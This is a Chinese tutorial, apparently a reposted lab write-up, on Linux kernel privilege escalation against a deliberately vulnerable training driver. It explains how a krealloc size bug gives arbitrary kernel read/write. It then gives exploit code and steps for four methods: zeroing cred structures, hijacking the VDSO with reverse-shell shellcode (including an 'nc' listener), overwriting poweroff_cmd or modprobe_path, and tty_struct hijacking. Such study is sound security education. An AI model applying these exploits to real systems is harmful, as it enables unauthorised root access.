linux内核提权系列教程(2):任意地址读写到提权的4种方法
一、漏洞代码分析代码见arbitrary.h。1.功能函数介绍
功能输入结构名输入结构功能
ARBITRARY_RW_INITinit_argssize初始化全局对象,存于g_mem_buffer。kmalloc(size)空间存于*data
ARBITRARY_RW_REALLOCrealloc_argsgrow; size;grow为1则扩充,为0则缩小。data_size=g_mem_buffer->data_size + args->size;data=krealloc(g_mem_buffer->data, new_size+1, GFP_KERNEL);
ARBITRARY_RW_READread_args*buff; count;copy_to_user(buff, g_mem_buffer->data + pos, count);
ARBITRARY_RW_SEEKseek_argsnew_pos;pos = s_args->new_pos;
ARBITRARY_RW_WRITEwrite_args*buff; count;copy_from_user(g_mem_buffer->data + pos, w_args->buff, count);
全局对象地址存于g_mem_buffer:// 全局对象
typedef struct mem_buffer {
size_t data_size;
char *data;
loff_t pos;
}mem_buffer;
2. 漏洞分析static int realloc_mem_buffer(realloc_args *args)
{
if(g_mem_buffer == NULL)
return -EINVAL;
size_t new_size;
char *new_data;
//We can overflow size here by making new_size = -1
if(args->grow)
new_size = g_mem_buffer->data_size + args->size;
else
new_size = g_mem_buffer->data_size - args->size;
//new_size here will equal 0 krealloc(..., 0) = ZERO_SIZE_PTR
new_data = krealloc(g_mem_buffer->data, new_size+1, GFP_KERNEL);
//missing check for return value ZERO_SIZE_PTR
if(new_data == NULL)
return -ENOMEM;
g_mem_buffer->data = new_data;
g_mem_buffer->data_size = new_size;
printk(KERN_INFO " g_mem_buffer->data_size = %lu \n", g_mem_buffer->data_size);
return 0;
}
漏洞:realloc_mem_buffer()中未检查传入变量args->size的正负,可以传入负数。如果通过传入负数,使得new_size== -1,由于kmalloc(new_size+1),由于kmalloc(0)会返回0x10,这样g_mem_buffer->data == 0x10; g_mem_buffer->data_size == 0xffffffffffffffff,读写时只会检查是否满足((count + pos) < g_mem_buffer->data_size)条件,实现任意地址读写。krealloc源码如下:// /include/linux/slab.h
#define ZERO_SIZE_PTR ((void *)16)
// /mm/slab_common.c
void *krealloc(const void *p, size_t new_size, gfp_t flags)
{
void *ret;
if (unlikely(!new_size)) {
kfree(p);
return ZERO_SIZE_PTR;
}
ret = __do_krealloc(p, new_size, flags);
if (ret && kasan_reset_tag(p) != kasan_reset_tag(ret))
kfree(p);
return ret;
}
//krealloc传入0时返回0x10
read_mem_buffer()函数如下,若满足条件((count + pos) < g_mem_buffer->data_size),则读取内容。若g_mem_buffer->data_size == 0xffffffffffffffff,则无论读取偏移多大,都满足本条件。static int read_mem_buffer(char __user *buff, size_t count)
{
if(g_mem_buffer == NULL)
return -EINVAL;
loff_t pos;
int ret;
pos = g_mem_buffer->pos;
if((count + pos) > g_mem_buffer->data_size)
return -EINVAL;
ret = copy_to_user(buff, g_mem_buffer->data + pos, count);
return ret;
}
二、 漏洞利用思路:ARBITRARY_RW_REALLOC 时,传入负数size,使得new_size == 0xffffffffffffffff,这样返回堆块地址为0x10,达到任意地址读写的目的。1. 方法一:修改cred结构提权(1)cred结构体每个线程在内核中都对应一个线程栈、一个线程结构块thread_info去调度,结构体同时也包含了线程的一系列信息。thread_info结构体存放位于线程栈的最低地址,对应的结构体定义(\arch\x86\include\asm\thread_info.h 55):struct thread_info {
struct task_struct*task; /* main task structure */ // <--------------------重要
__u32 flags; /* low level flags */
__u32 status; /* thread synchronous flags */
__u32 cpu; /* current CPU */
mm_segment_t addr_limit;
unsigned int sig_on_uaccess_error:1;
unsigned int uaccess_err:1;/* uaccess failed */
};
thread_info中最重要的信息是task_struct结构体,定义在(\include\linux\sched.h 1390)。//裁剪过后
struct task_struct {
volatile long state; /* -1 unrunnable, 0 runnable, >0 stopped */
void *stack;
atomic_t usage;
unsigned int flags; /* per process flags, defined below */
unsigned int ptrace;
... ...
/* process credentials */
const struct cred __rcu *ptracer_cred; /* Tracer's credentials at attach */
const struct cred __rcu *real_cred; /* objective and real subjective task
* credentials (COW) */
const struct cred __rcu *cred;/* effective (overridable) subjective task
* credentials (COW) */
char comm; /* executable name excluding path
- access with et_task_comm (which lock
it with task_lock())
- initialized normally by setup_new_exec */
/* file system info */
struct nameidata *nameidata;
#ifdef CONFIG_SYSVIPC
/* ipc stuff */
struct sysv_sem sysvsem;
struct sysv_shm sysvshm;
#endif
... ...
};
其中,cred结构体(\include\linux\cred.h 118)就表示该线程的权限。只要将结构体的uid~fsgid全部覆写为0即可提权该线程(root uid为0)。前28字节!!!!struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted;/* caps we're permitted */
kernel_cap_t cap_effective;/* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key*process_keyring; /* keyring private to this process */
struct key*thread_keyring; /* keyring private to this thread */
struct key*request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security;/* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info;/* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};
(2)漏洞利用思路:利用任意读找到cred结构体,再利用任意写,将用于表示权限的数据位写0,即可提权。搜索cred结构体:task_struct里有个char comm;结构,这个结构可通过prctl函数中的PR_SET_NAME功能,设置为一个小于16字节的字符串。感慨:task_struct这么大,居然能找到这个结构,还能找到prctl能修改该字符串,tql。PR_SET_NAME (since Linux 2.6.9)
设置调用线程的name,name由arg2指定,长度最多16字节,包含终止符。也可以使用pthread_setname_np(3)设置该name,用pthread_getname_np(3)获得name。
方法:设定该值作为标记,利用任意读找到该字符串,即可找到task_structure,进而找到cred结构体,再利用任意写提权。确定爆破范围:task_structure是通过调用kmem_cache_alloc_node()分配的,所以kmem_cache_alloc_node应该存在内核的动态分配区域。(\kernel\fork.c 140)。kernel内存映射static inline struct task_struct *alloc_task_struct_node(int node)
{
return kmem_cache_alloc_node(task_struct_cachep, GFP_KERNEL, node);
}
根据内存映射图,爆破范围应该在0xffff880000000000~0xffffc80000000000。(3)整合利用步骤完整代码见exp_cred.c。//爆破出 cred地址
i_args.size=0x100;
ioctl(fd, ARBITRARY_RW_INIT, &i_args);
rello_args.grow=0;
rello_args.size=0x100+1;
ioctl(fd,ARBITRARY_RW_REALLOC,&rello_args);
puts("[+] We can read and write any memory! [+]");
for (size_t addr=START_ADDR; addr<END_ADDR; addr+=0x1000)
{
read_mem(fd,addr,buf,0x1000);
result=memmem(buf,0x1000,target,16);
if (result)
{
printf("[+] Find try2findmesauce at : %p\n",result);
cred=*(size_t *)(result-0x8);
real_cred=*(size_t *)(result-0x10);
if ((cred || 0xff00000000000000) && (real_cred == cred))
{
target_addr=addr+result-(long int)(buf);
printf("[+] found task_struct 0x%x\n",target_addr);
printf("[+] found cred 0x%lx\n",real_cred);
break;
}
}
}
if (result==0)
{
puts("[-] not found, try again! \n");
exit(-1);
}
// 修改cred
memset((char *)root_cred,0,28);
write_mem(fd,cred,root_cred,28);
成功提权:1-exp_cred_succeed.png2. 方法二:劫持VDSOVDSO是内核通过映射方法与用户态共享一块物理内存,从而加快执行效率,也叫影子内存。当在内核态修改内存时,用户态所访问到的数据同样会改变,这样的数据区在用户态有两块,vdso和vsyscall。gdb-peda$ cat /proc/self/maps
00400000-0040c000 r-xp 00000000 08:01 561868 /bin/cat
0060b000-0060c000 r--p 0000b000 08:01 561868 /bin/cat
0060c000-0060d000 rw-p 0000c000 08:01 561868 /bin/cat
01cff000-01d20000 rw-p 00000000 00:00 0
...
7fff937d7000-7fff937d9000 r-xp 00000000 00:00 0
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0
(1)VDSO介绍vsyscall和VDSO都是为了避免传统系统调用模式INT 0x80/SYSCALL造成的内核空间和用户空间的上下文切换。vsyscall只允许4个系统调用,且在每个进程中静态分配了相同的地址;VDSO是动态分配的,地址随机,可提供超过4个系统调用,VDSO是glibc库提供的功能。VDSO—Virtual Dynamic Shared Object。本质就是映射到内存中的.so文件,对应的程序可以当普通的.so来使用其中的函数。VDSO所在的页,在内核态是可读、可写的,在用户态是可读、可执行的。VDSO在每个程序启动的加载过程如下:#0remap_pfn_range (vma=0xffff880000bba780, addr=140731259371520, pfn=8054, size=4096, prot=...) at mm/memory.c:1737
#10xffffffff810041ce in map_vdso (image=0xffffffff81a012c0 <vdso_image_64>, calculate_addr=<optimized out>) at arch/x86/entry/vdso/vma.c:151
#20xffffffff81004267 in arch_setup_additional_pages (bprm=<optimized out>, uses_interp=<optimized out>) at arch/x86/entry/vdso/vma.c:209
#30xffffffff81268b74 in load_elf_binary (bprm=0xffff88000f86cf00) at fs/binfmt_elf.c:1080
#40xffffffff812136de in search_binary_handler (bprm=0xffff88000f86cf00) at fs/exec.c:1469
在map_vdso中首先查找到一块用户态地址,将该块地址设置为VM_MAYREAD|VM_MAYWRITE|VM_MAYEXEC,利用remap_pfn_range将内核页映射过去。dump vdso代码://dump_vdos.c
// 获取gettimeofday 字符串的偏移,便于爆破;dump vdso还是需要在程序中爆破VDSO地址,然后gdb中断下,$dump memory即可(VDSO地址是从ffffffff开头的)。
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/auxv.h>
#include <sys/mman.h>
int main(){
int test;
size_t result=0;
unsigned long sysinfo_ehdr = getauxval(AT_SYSINFO_EHDR);
result=memmem(sysinfo_ehdr,0x1000,"gettimeofday",12);
printf("[+]VDSO : %p\n",sysinfo_ehdr);
printf("[+]The offset of gettimeofday is : %x\n",result-sysinfo_ehdr);
scanf("Wait! %d", test);
/*
gdb break point at 0x400A36
and then dump memory
why only dump 0x1000 ???
*/
if (sysinfo_ehdr!=0){
for (int i=0;i<0x2000;i+=1){
printf("%02x ",*(unsigned char *)(sysinfo_ehdr+i));
}
}
}
(2)利用思路1.获取vdso的映射地址(爆破),vdso的范围在0xffffffff80000000~0xffffffffffffefff。2.通过劫持task_prctl,将其修改成为set_memory_rw3.然后传入VDSO的地址,将VDSO修改成为可写的属性。4.用shellcode覆盖部分vDSO(shellcode只为root进程创建反弹shell,可以通过调用 0x66—sys_getuid系统调用并将其与0进行比较;如果没有root权限,我们继续调用0x60—sys_gettimeofday系统调用。同样在root进程当中,我们不想造成更多的问题,我们将通过0x39系统调用 fork一个子进程,父进程继续执行sys_gettimeofday,而由子进程来执行反弹shell。)5.调用gettimeofday函数或通过prtcl的系统调用,让内核调用shellcode提权。所用shellcode可见https://gist.github.com/itsZN/1ab36391d1849f15b785(它将连接到127.0.0.1:3333并执行”/bin/sh”),用"nc -l -p 3333 -v"链接即可;shellcode写到gettimeofday附近,通过dump vDSO确定,本题是0xca0。(3)整合利用步骤由于进程不会主动调用gettimeofday来触发shellcode,所以我们自己写一个循环程序,不断调用gettimeofday。//sudo_me.c 一定要动态编译,不然不会调用gettimeofday函数,还要在_install根目录下创建lib64文件,文件里放需要用到的库(ld-linux-x86-64.so.2 和 libc.so.6)。
#include <stdio.h>
int main(){
while(1){
puts("111");
sleep(1);
gettimeofday();
}
}
完整exp见exp_VDSO.c。2-exp_VDSO_succeed.png3. 方法三:利用call_usermodehelper()(1)call_usermodehelper()原理最初原理可见New Reliable Android Kernel Root Exploitation Techniques。prctl的原理已在绕过内核SMEP姿势总结与实践中分析过,就不再赘述。由于prctl第一个参数是int类型,在64位系统中被截断,所以不能正确传参。call_usermodehelper(\kernel\kmod.c 603),这个函数可以在内核中直接新建和运行用户空间程序,并且该程序具有root权限,因此只要将参数传递正确就可以执行任意命令(注意命令中的参数要用全路径,不能用相对路径)。但其中提到在安卓利用时需要关闭SEAndroid。我们要劫持task_prctl到call_usermoderhelper吗,不是的,因为这里的第一个参数也是64位的,也不能直接劫持过来。但是内核中有些代码片段是调用了Call_usermoderhelper的,可以转化为我们所用(通过它们来执行用户代码或访问用户数据,绕过SMEP)。也就是有些函数从内核调用了用户空间,例如kernel/reboot.c中的__orderly_poweroff函数中调用了run_cmd参数是poweroff_cmd,而且poweroff_cmd是一个全局变量,可以修改后指向我们的命令。static int __orderly_poweroff(bool force)
{
int ret;
ret = run_cmd(poweroff_cmd);
if (ret && force) {
pr_warn("Failed to start orderly shutdown: forcing the issue\n");
/*
* I guess this should try to kick off some daemon to sync and
* poweroff asap.Or not even bother syncing if we're doing an
* emergency shutdown?
*/
emergency_sync();
kernel_power_off();
}
return ret;
}
static void poweroff_work_func(struct work_struct *work)
{
__orderly_poweroff(poweroff_force);
}
(2)利用步骤完整利用代码见exp_run_cmd.c。1.利用kremalloc的问题,达到任意地址读写的能力2.通过快速爆破,泄露出VDSO地址。3.利用VDSO和kernel_base相差不远的特性,泄露出内核基址。(泄露VDSO是为了泄露内核基址?)4.篡改prctl的hook为selinux_disable函数的地址5.调用prctl使得selinux失效(INetCop Security给出的思路中要求的一步)6.篡改poweroff_cmd使其等于我们预期执行的命令("/bin/chmod 777 /flag\0")。或者将poweroff_cmd处改为一个反弹shell的binary命令,监听端口就可以拿到shell。7.篡改prctl的hook为orderly_poweroff8.调用prctl执行我们预期的命令,达到内核提权的效果。其中第4、5步是安卓root必须的两步,本题linux环境下不需要。利用成功截图如下:3-exp_run_cmd_succeed.png(3)总结可劫持的变量不需要劫持函数虚表,不需要传参数那么麻烦,只需要修改变量即可提权。1.modprobe_path// /kernel/kmod.c
char modprobe_path = "/sbin/modprobe";
// /kernel/kmod.c
static int call_modprobe(char *module_name, int wait)
argv = modprobe_path;
info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
NULL, free_modprobe_argv, NULL);
return call_usermodehelper_exec(info, wait | UMH_KILLABLE);
// /kernel/kmod.c
int __request_module(bool wait, const char *fmt, ...)
ret = call_modprobe(module_name, wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC);
__request_module - try to load a kernel module触发:可通过执行错误格式的elf文件来触发执行modprobe_path指定的文件。2.poweroff_cmd// /kernel/reboot.c
char poweroff_cmd = "/sbin/poweroff";
// /kernel/reboot.c
static int run_cmd(const char *cmd)
argv = argv_split(GFP_KERNEL, cmd, NULL);
ret = call_usermodehelper(argv, argv, envp, UMH_WAIT_EXEC);
// /kernel/reboot.c
static int __orderly_poweroff(bool force)
ret = run_cmd(poweroff_cmd);
触发:执行__orderly_poweroff()即可。3.uevent_helper// /lib/kobject_uevent.c
#ifdef CONFIG_UEVENT_HELPER
char uevent_helper = CONFIG_UEVENT_HELPER_PATH;
// /lib/kobject_uevent.c
static int init_uevent_argv(struct kobj_uevent_env *env, const char *subsystem)
{......
env->argv = uevent_helper;
...... }
// /lib/kobject_uevent.c
int kobject_uevent_env(struct kobject *kobj, enum kobject_action action,
char *envp_ext[])
{......
retval = init_uevent_argv(env, subsystem);
info = call_usermodehelper_setup(env->argv, env->argv,
env->envp, GFP_KERNEL,
NULL, cleanup_uevent_env, env);
......}
4.ocfs2_hb_ctl_path// /fs/ocfs2/stackglue.c
static char ocfs2_hb_ctl_path = "/sbin/ocfs2_hb_ctl";
// /fs/ocfs2/stackglue.c
static void ocfs2_leave_group(const char *group)
argv = ocfs2_hb_ctl_path;
ret = call_usermodehelper(argv, argv, envp, UMH_WAIT_PROC);
5.nfs_cache_getent_prog// /fs/nfs/cache_lib.c
static char nfs_cache_getent_prog =
"/sbin/nfs_cache_getent";
// /fs/nfs/cache_lib.c
int nfs_cache_upcall(struct cache_detail *cd, char *entry_name)
char *argv[] = {
nfs_cache_getent_prog,
cd->name,
entry_name,
NULL
};
ret = call_usermodehelper(argv, argv, envp, UMH_WAIT_EXEC);
6.cltrack_prog// /fs/nfsd/nfs4recover.c
static char cltrack_prog = "/sbin/nfsdcltrack";
// /fs/nfsd/nfs4recover.c
static int nfsd4_umh_cltrack_upcall(char *cmd, char *arg, char *env0, char *env1)
argv = (char *)cltrack_prog;
ret = call_usermodehelper(argv, argv, envp, UMH_WAIT_PROC);
4. 方法四:劫持tty_struct找不到mov rsp,rax、mov rsp,这样的gadget,有点尴尬。具体方法还是参考call_usermodehelper提权路径变量总结,其中总结了如何劫持tty_struct中的write和ioctl两种方法。参考:https://www.jianshu.com/p/07994f8b2bb0https://invictus-security.blog/2017/06/https://github.com/invictus-0x90/vulnerable_linux_driverhttps://www.jianshu.com/p/a2259cd3e79e文章首发于先知-linux内核提权系列教程(2):任意地址读写到提权的4种方法说明:实验所需的驱动源码、bzImage、cpio文件见我的github进行下载。本教程适合对漏洞提权有一定了解的同学阅读,具体可以看看我先知之前的文章,或者我的简书。从任意地址读写到提权的方法,可以参考【linux内核漏洞利用】StringIPC—从任意读写到权限提升三种方法。References prctl: http://man7.org/linux/man-pages/man2/prctl.2.html kernel内存映射: https://jin-yang.github.io/post/kernel-memory-virtual-physical-map.html New Reliable Android Kernel Root Exploitation Techniques: http://powerofcommunity.net/poc2016/x82.pdf 绕过内核SMEP姿势总结与实践: https://www.jianshu.com/p/3d707fac499a call_usermodehelper提权路径变量总结: https://www.jianshu.com/p/a2259cd3e79e 先知-linux内核提权系列教程(2):任意地址读写到提权的4种方法: https://xz.aliyun.com/t/6296 我的github: https://github.com/bsauce/kernel_exploit_series 我的简书: https://www.jianshu.com/u/a12c5b882be2 【linux内核漏洞利用】StringIPC—从任意读写到权限提升三种方法: https://www.jianshu.com/p/07994f8b2bb0
往期推荐
D-Link service.cgi远程命令执行漏洞分析
linux内核提权系列教程(1):堆喷射函数sendmsg与msgsend利用
Dlink getcfg.php远程敏感信息读取漏洞分析
TP Link SR20 ACE漏洞分析
页:
[1]